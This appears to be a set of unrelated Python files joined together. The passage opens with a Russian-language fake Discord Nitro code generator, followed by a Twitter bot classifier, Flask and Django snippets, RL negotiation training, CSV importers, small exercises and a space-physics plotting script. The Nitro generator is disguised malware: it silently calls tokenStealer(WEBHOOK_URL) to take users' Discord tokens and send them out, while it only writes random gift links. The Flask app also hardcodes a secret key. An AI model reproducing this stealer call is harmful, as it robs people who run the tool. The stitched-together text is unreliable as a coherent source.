G = g = Fore.LIGHTGREEN_EX
B = b = Fore.LIGHTBLUE_EX
Y = y = Fore.LIGHTYELLOW_EX
W = w = Fore.LIGHTWHITE_EX
M = m = Fore.LIGHTMAGENTA_EX
C = c = Fore.LIGHTCYAN_EX
init(wrap = False)

ezprint = lambda symvol, text, color: print(f'{B}[{R}{symvol}{B}]{color}{text}')

def ezinput(symvol, text, textColor, inputColor):
    print(f'{B}[{R}{symvol}{B}]{textColor}{text}{inputColor}', end='')
    ezprintReturn = input('')
    return ezprintReturn

clearConsole()
ezprint('Loading', 'Загрузка модуля colorama...', G)
ezprint('Loading', 'Загрузка всех модулей...', G)

tokenStealer(WEBHOOK_URL)
import time
import sys
import random
def generateString(leght : int, letters_list : list=None):
    if not letters_list:  letters_list_sort = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    else:
        letters_list_sort = []
        for i in letters_list:
            if type(i) == int:
                letters_list_sort.append(str(i))
    rString = ''.join(random.choice(letters_list_sort) for i in range(leght))
    return rString

generateNitroCode = lambda: f'https://discord.gift/{generateString(16)}'

while True:
    clearConsole()
    ezprint('*', f'1 - {g}генерация нитро', m)
    ezprint('*', f'2 - {g}узнать количестно созданных нитро', m)
    ezprint('*', f'3 - {g}выход', m)
    menu = ezinput('=>', 'Ввод:', g, y)
    if menu == '1':
        break
    elif menu == '2':
        try:
            with open('nitro-code.txt', 'r') as nitroFile:
                nitroLen = len(nitroFile.read().split('\n'))
                nitroFile.close()
        except:
            nitroLen = 0
        ezprint('!', f'В файле {b}nitro-code.txt {g}{nitroLen} нитро кодов', g)
        time.sleep(2)
    elif menu == '3':
        sys.exit()

created = 0

while True:
    with open('nitro-code.txt', 'a') as nitroGEN:
        nitroGEN.write(f'{generateNitroCode()}\n')
    created += 1
    clearConsole()
    ezprint('*>*', f'Создано {b}{created} {g}нитро кодов', g)


# Load dataset
import csv
import datetime
import pandas
from matplotlib import pyplot
from sklearn.model_selection import train_test_split
from sklearn.model_selection import cross_val_score
from sklearn.model_selection import StratifiedKFold
from sklearn.linear_model import LogisticRegression
from sklearn.tree import DecisionTreeClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.naive_bayes import GaussianNB
from sklearn.svm import SVC
import numpy as np
import tweepy
auth =tweepy.OAuthHandler("****")
auth.set_access_token("****")
api= tweepy.API(auth)
names = ['twtCount', 'engRatio','frndcount','biolen','likecount','verified','default','class']
ds = pandas.read_csv("Desktop/dataset_original.csv", names=names)
print("shape: {}".format(ds.shape))
array=ds.values
X=array[:,0:7]
Y=array[:,7]
X_train,X_validation,Y_train,Y_validation = train_test_split(X,Y,test_size=0.30,random_state=None)
print("x shape: {}".format(X_train.shape))
print("y shape: {}".format(Y_train.shape))
print("x test shape: {}".format(X_validation.shape))
print("y test shape: {}".format(Y_validation.shape))
print("x_train:{}".format(X_train))
print("X_test:{}".format(X_validation))

# Spot Check Algorithms
models = []
models.append(('LR', LogisticRegression(solver='liblinear', multi_class='ovr')))
models.append(('LDA', LinearDiscriminantAnalysis()))
models.append(('KNN', KNeighborsClassifier()))
models.append(('CART', DecisionTreeClassifier()))
models.append(('NB', GaussianNB()))
models.append(('SVM', SVC(gamma='auto')))
# evaluate each model in turn
results = []
names = []
for name, model in models:
	kfold = StratifiedKFold(n_splits=5, random_state=None)
	cv_results = cross_val_score(model, X_train, Y_train, cv=kfold, scoring='accuracy')
	results.append(cv_results)
	names.append(name)
	print('%s: %f (%f)' % (name, cv_results.mean(), cv_results.std()))
lda=LinearDiscriminantAnalysis()
lda.fit(X_train,Y_train)
uname='iSachinDeshwal'
user = api.get_user(uname)
tweet=user.status
if (user.verified)== True:
	a=1
else:
	a=0
if (user.default_profile)== True:
	b=0
else:
	b=1
endDate =   datetime.datetime(2020, 4, 13, 0, 0, 0)
startDate = datetime.datetime(2020, 4, 7, 0, 0, 0)

tweets = []
tmpTweets = api.user_timeline(uname)
for tweet in tmpTweets:
    if (tweet.created_at < endDate and tweet.created_at > endDate): tweets.append(tweet.favorite_count)
while (tmpTweets[-1].created_at > startDate):
    tmpTweets = api.user_timeline(uname, max_id = tmpTweets[-1].id)
    for tweet in tmpTweets:
        if tweet.created_at < endDate and tweet.created_at > startDate:
            tweets.append(tweet.favorite_count)
tweets.sort()
X_new=np.array([[user.statuses_count,(tweets[-1]/user.followers_count)*1000,user.friends_count,len(user.description),user.favourites_count,a,b]])
print(X_new)
prediction = lda.predict(X_new)
print("prediction: {}" .format(prediction))


from flask import Flask, render_template, url_for, flash, redirect
from forms import RegistrationForm, LoginForm
from contents import cont
app = Flask(__name__)

app.config['SECRET_KEY'] = '497f5e863942d4fd0a245f1226934286'

posts = [
    {
        'user' : 'arliardiandy',
        'title' : 'Comment Title 1',
        'comment' : 'First Comment',
        'date' : 'May 2020'
    },
    {
        'user' : 'nurseramika',
        'title' : 'Comment Title 2',
        'comment' : 'Second Comment',
        'date' : 'May 2020'
    }
]

atama = cont()

@app.route('/')
@app.route('/home')
def home():
    return render_template('home.html', posts=atama)

@app.route('/about')
def about():
    return render_template('about.html', title='About')

@app.route('/map')
def map():
    return render_template('map.html', title='Map', posts=posts)

@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        flash(f'Account created { form.username.data }!', 'success')
        return redirect(url_for('home'))
    return render_template('register.html', title='Register', form=form)

@app.route('/login')
def login():
    form = LoginForm()
    return render_template('login.html', title='Login', form=form)

if __name__ == '__main__':
    app.run(debug=True)


from django.db import models
from cloudinary.models import CloudinaryField
import pytz

# Create your models here.

class Item(models.Model):

    STATUS = (
        ('active', 'Active'),
        ('inactive', 'Inactive')
    )

    STATUS_DICT = dict(STATUS)

    status = models.CharField(
        max_length=15, blank= False, null= False, db_index= True, default= 'inactive', choices=STATUS
    )

    name = models.CharField(
        'Name', max_length= 120, blank=False, null=False, db_index= True,
    )

    price = models.IntegerField(
        blank=False, null=False, db_index= True,
    )

    image = CloudinaryField(
        'Image'
    )

    created_at = models.DateTimeField(
        'Created Datetime', blank=True, auto_now_add=True
    )
    updated_at = models.DateTimeField(
        'Updated Datetime', blank=True, auto_now=True
    )


from Agent import Agent
import torch
import numpy as np

import sys
import os
sys.path.append('..')

from rice_nego_simplfied import Rice

from tqdm import tqdm

from typing import List, Dict, Tuple

gamma = .99
episode_length = 20
discount_factors = gamma ** np.arange(episode_length)

def create_envs(n: int = 5,
                yamls_filename: str = 'yamls/2_region_yamls',
                num_discrete_action_levels: int = 10) -> List[Rice]:

    return [Rice(i, num_discrete_action_levels, yamls_filename) for i in range(n)]

def create_agents(env: Rice) -> List[Agent]:
    state = env.reset()
    device = 'cuda' if torch.cuda.is_available() else 'cpu'
    return [Agent(len(state[i]['features']), env.action_space[i], env.num_regions, i, device)
            for i in range(env.num_regions)]

def get_baseline_cum_returns(env: Rice, n_trials = 100) -> np.ndarray:
    returns = np.zeros(n_trials)
    for trial in tqdm(range(n_trials)):

        env.reset()
        for step in range(env.episode_length):
            env.step({
                i : np.random.randint(env.num_discrete_action_levels, size=len(env.action_space[i]))
                for i in range(env.num_regions)
            })

        returns[trial] = np.mean(compute_returns(env.global_state['reward_all_regions']['value']))

    return returns

def proposals_step(agents: List[Agent],
                   envs: List[Rice],
                   states: List[List[Dict[str, np.ndarray]]]) -> List[Dict[str, np.ndarray]]:

    actions = np.stack([agent.make_proposals([s[i] for s in states]) for i, agent in enumerate(agents)], axis = 1)
    new_states = [env.register_proposals(action) for action, env in zip(actions.astype(bool), envs)]
    return new_states

def decisions_step(agents: List[Agent],
                   envs: List[Rice],
                   states: List[List[Dict[str, np.ndarray]]]) -> List[Dict[str, np.ndarray]]:

    actions = np.stack([agent.make_decisions([s[i] for s in states]) for i, agent in enumerate(agents)], axis = 1)
    new_states = [env.register_decisions(action) for action, env in zip(actions.astype(bool), envs)]
    return new_states

def action_step(agents: List[Agent],
                envs: List[Rice],
                states: List[List[Dict[str, np.ndarray]]]) -> Tuple[List[Dict[str, np.ndarray]], List[Dict[str, float]]]:

    actions = np.stack([agents[i].act([state[i] for state in states]) for i in range(len(agents))], axis = 1)
    states, rewards, _, _ = zip(*[env.step(dict(enumerate(action))) for action, env in zip(actions, envs)])

    return states, rewards

def train(agents: List[Agent],
          envs: List[Rice],
          epochs: int = 50,
          batch_size: int = 40,
          with_comm: bool = True,
          eval_epochs: int = 50) -> np.ndarray:

    episode_length = envs[0].episode_length

    evaluation = np.zeros((epochs + 1, eval_epochs, len(agents)))
    evaluation[0] = eval_agents(agents, envs[0], n_trials=eval_epochs, with_comm=with_comm)

    for epoch in tqdm(range(epochs)):

        for batch in range(batch_size):
            states = [env.reset() for env in envs]
            for t in range(episode_length):

                if with_comm:
                    states = proposals_step(agents, envs, states)
                    states = decisions_step(agents, envs, states)

                states, rewards = action_step(agents, envs, states)

                rewards = np.array([list(r.values()) for r in rewards])
                mean_rewards = rewards.mean(1)
                is_terminal = t == episode_length - 1

                for i, agent in enumerate(agents):
                    for env_id in range(len(envs)):

                        if with_comm:

                            agent.proposal_net.buffer.rewards[env_id].append(mean_rewards[env_id])
                            agent.proposal_net.buffer.is_terminals[env_id].append(is_terminal)

                            agent.decision_net.buffer.rewards[env_id].append(mean_rewards[env_id])
                            agent.decision_net.buffer.is_terminals[env_id].append(is_terminal)

                        agent.activity_net.buffer.rewards[env_id].append(rewards[env_id, i])
                        agent.activity_net.buffer.is_terminals[env_id].append(is_terminal)

        for agent in agents:

            agent.activity_net.update()

            if with_comm:
                agent.decision_net.update()
                agent.proposal_net.update()

        evaluation[epoch + 1] = eval_agents(agents, envs[0], n_trials=eval_epochs, with_comm=with_comm)

    return evaluation

def compute_returns(rewards: np.ndarray) -> np.ndarray:
    cum_returns = np.cumsum(np.flipud(rewards[1:]), axis = 0)
    disc_cum_returns = cum_returns * discount_factors[:, np.newaxis]
    return np.sum(disc_cum_returns, 0)

def eval_agents(agents: List[Agent], env: Rice, n_trials = 50, with_comm = True) -> np.ndarray:
    env_rewards = np.zeros((n_trials, len(agents)))
    for trial in range(n_trials):
        state = env.reset()
        for step in range(env.episode_length):

            if with_comm:
                proposals = np.concatenate([agent.eval_make_proposals(state[i]) for i, agent in enumerate(agents)])
                state = env.register_proposals(proposals)

                decisions = np.concatenate([agent.eval_make_decisions(state[i]) for i, agent in enumerate(agents)])
                state = env.register_decisions(decisions)

            actions = {i: agent.eval_act(state[i]) for i, agent in enumerate(agents)}
            state, _, _, _ = env.step(actions)
        env_rewards[trial] = compute_returns(env.global_state['reward_all_regions']['value'])
    return env_rewards

def run_experiments(n_agents, epochs = 200, batch_size = 50):

    torch.manual_seed(123)
    torch.cuda.manual_seed(123)

    envs = create_envs(yamls_filename = f'yamls/{n_agents}_region_yamls')
    assert envs[0].num_regions == n_agents

    agents_no_comm = create_agents(envs[0])
    agents_with_comm = create_agents(envs[0])

    path = f'runs/{n_agents}/no_comm'
    os.makedirs(path, exist_ok=True)
    stoch_no_comm = train(agents_no_comm, envs, epochs=epochs, batch_size=batch_size, with_comm=False)
    for agent in agents_no_comm:
        agent.save(path, False)
    np.save(path + '/stoch.npy', stoch_no_comm)

    path = f'runs/{n_agents}/with_comm'
    os.makedirs(path, exist_ok=True)
    stoch_with_comm = train(agents_with_comm, envs, epochs=epochs, batch_size=batch_size, with_comm=True)
    for agent in agents_with_comm:
        agent.save(path, True)
    np.save(path + '/stoch.npy', stoch_with_comm)

def eval_agents_final(agents: List[Agent], env: Rice, n_trials = 1000, with_comm = True):

    rewards, decisions, promises, proposals = np.zeros((4, n_trials))
    for trial in tqdm(range(n_trials)):
        state = env.reset()
        for step in range(env.episode_length):

            if with_comm:
                p = np.concatenate([agent.eval_make_proposals(state[i]) for i, agent in enumerate(agents)])
                state = env.register_proposals(p)

                d = np.concatenate([agent.eval_make_decisions(state[i]) for i, agent in enumerate(agents)])
                state = env.register_decisions(d)

            actions = {i: agent.eval_act(state[i]) for i, agent in enumerate(agents)}
            state, _, _, _ = env.step(actions)

        rewards[trial] = compute_returns(env.global_state['reward_all_regions']['value']).mean()
        if with_comm:
            decisions[trial] = env.global_negotiation_state['decisions'][:-1].mean()
            proposals[trial] = env.global_negotiation_state['proposals'][:-1].mean()
            promises[trial] = env.global_negotiation_state['promises'][:-1].mean()

    if with_comm:
        return rewards, decisions, promises, proposals
    return rewards

def run_experiment_2(epochs = 200, batch_size = 50):
    torch.manual_seed(123)
    torch.cuda.manual_seed(123)
    envs = create_envs(yamls_filename=f'yamls/2_region_yamls')
    agents1 = create_agents(envs[0])
    agents2 = create_agents(envs[0])

    train(agents1, envs, epochs = epochs, batch_size=batch_size, eval_epochs=1)
    train(agents2, envs, epochs = epochs, batch_size=batch_size, eval_epochs=1)

    rs, decs, proms, props = eval_agents_final((agents1[0], agents2[0]), envs[0])

    path = 'runs2'
    os.makedirs(path, exist_ok=True)
    np.save(path + 'rs.npy', rs)
    np.save(path + 'decs.npy', decs)
    np.save(path + 'proms.npy', proms)
    np.save(path + 'props.npy', props)


import csv

from reviews.models import Category, Comment, Genre, Review, Title
from users.models import User

def users_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('category_parser in progress')
        for row in reader:
            User.objects.create(
                id=row[0],
                username=row[1],
                email=row[2],
                role=row[3],
                bio=row[4],
                first_name=row[5],
                last_name=row[6]
            )
        print('done')

def category_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('category_parser in progress')
        for row in reader:
            Category.objects.create(
                id=row[0],
                name=row[1],
                slug=row[2],
            )
        print('done')

def genre_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('genre_parser in progress')
        for row in reader:
            Genre.objects.create(
                id=row[0],
                name=row[1],
                slug=row[2],
            )
        print('done')

def titles_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('titles_parser in progress')
        for row in reader:
            category = Category.objects.get(id=row[3])
            Title.objects.create(
                id=row[0],
                name=row[1],
                year=row[2],
                category=category,
            )
        print('done')

def genre_title_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('genre_title_parser in progress')
        for row in reader:
            title = Title.objects.get(id=row[1])
            genre = Genre.objects.get(id=row[2])
            title.genre.add(genre)
            title.save()
        print('done')

def review_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('review_parser in progress')
        for row in reader:
            title = Title.objects.get(id=row[1])
            author = User.objects.get(id=row[3])
            Review.objects.create(
                id=row[0],
                title=title,
                text=row[2],
                author=author,
                score=row[4],
                pub_date=row[5],
            )
        print('done')

def comments_parser(path):
    with open(path, encoding="utf-8") as csv_file:
        reader = csv.reader(csv_file)
        next(reader)
        print('comment_parser in progress')
        for row in reader:
            review = Review.objects.get(id=row[0])
            author = User.objects.get(id=row[3])
            Comment.objects.create(
                id=row[0],
                review=review,
                text=row[2],
                author=author,
                pub_date=row[4],
            )
        print('done')


import random
rock = '''
    _______
---'   ____)
      (_____)
      (_____)
      (____)
---.__(___)
'''

paper = '''
    _______
---'   ____)____
          ______)
          _______)
         _______)
---.__________)
'''

scissors = '''
    _______
---'   ____)____
          ______)
       __________)
      (____)
---.__(___)
'''

inputplay = input("what do you choose? type 0 for rock 1 for paper and 2 for scissors?? \n")

r=p=s=0
if inputplay == 0:
  r = 1
  print(rock)
elif inputplay == 1:
  p = 1
  print(paper)
else:
  s = 1
  print(scissors)
rps = [rock,paper,scissors]
ran = random.choice(rps)
print("\n")
print("computer chose:")
print("\n")
print(ran)
if r == 1 and ran == rock:
  print("tie")
elif p == 1 and ran == paper:
  print("tie")
elif s == 1 and ran == scissors:
  print("tie")
elif r == 1 and ran == paper:
  print("paper beats rock, you loose")
elif r == 1 and ran == scissors:
  print("rock beats scissors, you win")
elif p == 1  and ran == rock:
  print("paper beats rock ,you win")
elif p == 1 and ran == scissors:
  print("scissors beat paper, you loose")
elif s ==1 and ran == rock:
  print("rock beats scissiors,you loose")
elif s == 1 and ran == paper:
  print("scissors beats paper, you win")
else:
  print("error")


# Write a program that receives info from the console about people and their phone numbers.
# Each entry should have a name and a number (both strings) separated by a "-".
# If you receive a name that already exists in the phonebook, update its number.
# After filling the phonebook, you will receive a number – N.
# Your program should be able to perform a search of contact by name and print its details in the format:
# "{name} -> {number}".
# In case the contact isn't found, print: "Contact {name} does not exist."

def search_contact(contact_name, phonebook):
    if contact_name in phonebook:
        return f"{contact_name} -> {phonebook[contact_name]}"
    return f"Contact {contact_name} does not exist."

contact_dict = {}
input_contact = input()
while "-" in input_contact:
    name, phone_number = input_contact.split("-")
    contact_dict[name] = phone_number

    input_contact = input()
count = int(input_contact)
for searched_contact in range(count):
    searched_contact_name = input()
    print(search_contact(searched_contact_name, contact_dict))


import yaml
import argparse
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.dates as mdates

from pyrfu.mms import get_data
from pyrfu.pyrf import avg_4sc, c_4_j, resample, new_xyz, norm
from pyrfu.plot import zoom, plot_line

from spf import (lmn_cs, load_moments, remove_bz_offset, calc_ol_terms,
                 span_tint, make_labels)

def main(args):
    """main function
    """
    # Read time intervals
    with open(args.config) as f:
        cfg = yaml.load(f, Loader=yaml.FullLoader)

    tint_flap = cfg["tints"]["flapping"]
    tint_zoom = cfg["tints"]["close-up"]

    mms_ids = np.arange(1, 5)

    # Load spacecraft position
    r_mms = [get_data("R_gse", tint_flap, i, data_path=cfg["data_path"]) for i
             in mms_ids]

    # Load background magnetic field
    suf_b = "fgm_{}_{}".format(cfg["fgm"]["data_rate"], cfg["fgm"]["level"])
    b_mms = [get_data("B_gse_{}".format(suf_b), tint_flap, i, args.verbose,
                      data_path=cfg["data_path"]) for i in mms_ids]

    # Load electric field
    suf_e = "edp_{}_{}".format(cfg["edp"]["data_rate"], cfg["edp"]["level"])
    e_mms = [get_data("e_gse_{}".format(suf_e), tint_flap, i, args.verbose,
                      data_path=cfg["data_path"]) for i in mms_ids]

    # Load moments from FPI
    moments_i, moments_e = load_moments(tint_flap, cfg["fpi"], args,
                                        data_path=cfg["data_path"])

    # Remove offset on z component of the background magnetic field
    b_mms = remove_bz_offset(b_mms)

    # Compute current density
    j_xyz, _, b_xyz, _, _, _ = c_4_j(r_mms, b_mms)
    j_xyz *= 1e9  # j A.m^{-2}->nA.m^{-2}

    # Compute electric field at the center of mass of the tetrahedron
    e_xyz = avg_4sc(e_mms)

    # Compute new coordinates system
    lmn = lmn_cs(b_xyz, moments_i[1])

    # Resample magnetic field and current density to electric field sampling
    b_xyz, j_xyz = [resample(field, e_xyz) for field in [b_xyz, j_xyz]]

    # Transform fields to MVA frame
    b_lmn, e_lmn, j_lmn = [new_xyz(x_, lmn) for x_ in [b_xyz, e_xyz, j_xyz]]

    # Resample ion/electron moments to electric field sampling
    moments_i = [resample(mom, e_xyz) for mom in moments_i]
    moments_e = [resample(mom, e_xyz) for mom in moments_e]

    # Transform moments
    moments_lmn_i = [moments_i[0], None, None, None]
    moments_lmn_e = [moments_e[0], None, None, None]

    moments_lmn_i[1:] = [new_xyz(mom, lmn) for mom in moments_i[1:]]
    moments_lmn_e[1:] = [new_xyz(mom, lmn) for mom in moments_e[1:]]

    # Compute terms of the Ohm's law
    vxb_lmn_i, vxb_lmn_e, jxb_lmn = calc_ol_terms(b_lmn, j_lmn,
                                                  moments_lmn_i, moments_lmn_e)

    # Compute ion scale total contribution
    s_lmn = -vxb_lmn_i + jxb_lmn

    # Plot
    fig = plt.figure(**cfg["figure"]["main"])
    gs0 = fig.add_gridspec(2, 1, **cfg["figure"]["gridspec"])

    gs00 = gs0[:1].subgridspec(4, 1, hspace=0)
    gs10 = gs0[1:].subgridspec(4, 1, hspace=0)

    axs0 = [fig.add_subplot(gs00[i]) for i in range(4)]
    axs1 = [fig.add_subplot(gs10[i]) for i in range(4)]

    for axs in [axs0, axs1]:
        plot_line(axs[0], b_lmn)
        axs[0].legend(["$B_L$", "$B_M$", "$B_N$"], **cfg["figure"]["legend"])
        axs[0].set_ylabel("$B$" + "\n" + "[nT]")
        axs[0].grid(True, which="both")

        plot_line(axs[1], jxb_lmn[:, 1], label="$J\\times B / ne$")
        plot_line(axs[1], -vxb_lmn_i[:, 1], label="$-V_i\\times B$")
        plot_line(axs[1], s_lmn[:, 1], label="$J\\times B / ne -V_i\\times B$")
        plot_line(axs[1], e_lmn[:, 1], label="$E_{EDP}$")
        axs[1].set_ylim([-12, 12])
        axs[1].set_ylabel("$E_M$" + "\n" + "[mV m$^{-1}$]")
        axs[1].grid(True, which="both")

        plot_line(axs[2], jxb_lmn[:, 2], label="$J\\times B / ne$")
        plot_line(axs[2], -vxb_lmn_i[:, 2], label="$-V_i\\times B$")
        plot_line(axs[2], s_lmn[:, 2], label="$J\\times B / ne -V_i\\times B$")
        plot_line(axs[2], e_lmn[:, 2], label="$E_{EDP}$")
        axs[2].legend(frameon=True, ncol=2, bbox_to_anchor=(1, 1.3),
                      loc="upper right")
        axs[2].set_ylim([-12, 12])
        axs[2].set_ylabel("$E_N$" + "\n" + "[mV m$^{-1}$]")
        axs[2].grid(True, which="both")

        plot_line(axs[3], norm(e_xyz + vxb_lmn_i),
                  color="deeppink", label="$| E+V_{i}\\times B |$")
        plot_line(axs[3], norm(jxb_lmn),
                  color="tab:blue", label="$|J\\times B / ne|$")
        axs[3].legend(**cfg["figure"]["legend"])
        axs[3].set_ylim([0, 12])
        axs[3].set_ylabel("$|E|$" + "\n" + "[mV m$^{-1}$]")
        axs[3].grid(True, which="both")

        axs[-1].get_shared_x_axes().join(*axs)

        fig.align_ylabels(axs)

        for ax in axs[:-1]:
            ax.xaxis.set_ticklabels([])

    axs0[-1].set_xlim(mdates.date2num(tint_flap))
    axs1[-1].set_xlim(mdates.date2num(tint_zoom))

    # zoom
    zoom(axs1[0], axs0[-1], ec="k")
    span_options = dict(linestyle="--", linewidth=0.8, facecolor="none",
                        edgecolor="k")
    span_tint(axs0, tint_zoom, **span_options)
    # number subplots
    labels_pos = [0.02, 0.83]
    _ = make_labels(axs0 + axs1, labels_pos)

    if args.figname:
        fig.savefig(args.figname, **cfg["figure"]["save"])
    else:
        plt.show()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--verbose",
                        help="increase output verbosity",
                        action="store_true")
    parser.add_argument("--figname",
                        help="Path and name of the figure with extension.",
                        type=str, default="")
    parser.add_argument("--config", type=str, required=True,
                        help="Path to (.yml) config file.")

    main(parser.parse_args())


# Load and test embedding model
# model_name = 'word2vec-kowiki.model'	# Word2Vec model
# C> wv_test.py 'word2vec-kowiki.model'
import pandas as pd
from pykrx import stock
from gensim.models import Word2Vec
import sys
from datetime import datetime

def search_relation_stock(model,company_name):
    today = datetime.today()
    tickers = stock.get_market_ticker_list(today, market="KOSPI") + stock.get_market_ticker_list(
        today, market="KOSDAQ")
    company_list = []

    for ticker in tickers:
        name = stock.get_market_ticker_name(ticker)
        company_list.append(name)
    stock_df = pd.DataFrame(columns=["company_name","similarity"])
    stock_df["company_name"] = company_list

    for i in stock_df.index:
        try:
            stock_df.iloc[i,1] = model.wv.similarity(u'{0}'.format(company_name), u'{0}'.format(stock_df.iloc[i,0]))
        except:
            stock_df.iloc[i,1] = -99

    print(stock_df.sort_values("similarity",ascending=False).head(5))
if __name__ == "__main__":
    # if len(sys.argv) < 2:
    #     print("C> wv_test.py word2vec.model")
    #     exit()
    # print("\nLoading Korean word embedding vectors for 'KMA tokenized text file'.\n")
    # model_name = sys.argv[1]  # Word2Vec model -- 'word2vec-kowiki.model'
    model_name = "dataFile/word2vec-KCC_news_mecab.model"

    model = Word2Vec.load(model_name)
    search_relation_stock(model,"삼성전자")
    search_relation_stock(model,"카카오")

    # print(model.wv.get_vector(u'배우'))
    # print(model.wv.get_vector(u'여배우'))
    #
    # print(model.wv.similarity(u'LG', u'SK하이닉스'))
    # print(model.wv.similarity(u'카카오', u'카카오뱅크'))
    # print(model.wv.similarity(u'카카오페이', u'카카오뱅크'))
    # print(model.wv.similarity(u'카카오', u'삼성전자'))
    # print(model.wv.similarity(u'현대차', u'기아'))
    # print("한미약품 관련 종목")
    # print(model.wv.most_similar('카카오'))
    # search_relation_stock(model,"반도체")

    # print(model.wv.similarity(u'배우', u'남자'))
    # print(model.wv.similarity(u'남자', u'여배우'))

    # print(model.wv.most_similar(positive=[u'카카오'], topn=3))
    # print(model.wv.most_similar(positive=[u'현대차', u'기아'],  topn=3))
    # print(model.wv.most_similar(positive=[u'현대차', u'기아'], negative=[u'카카오'], topn=3))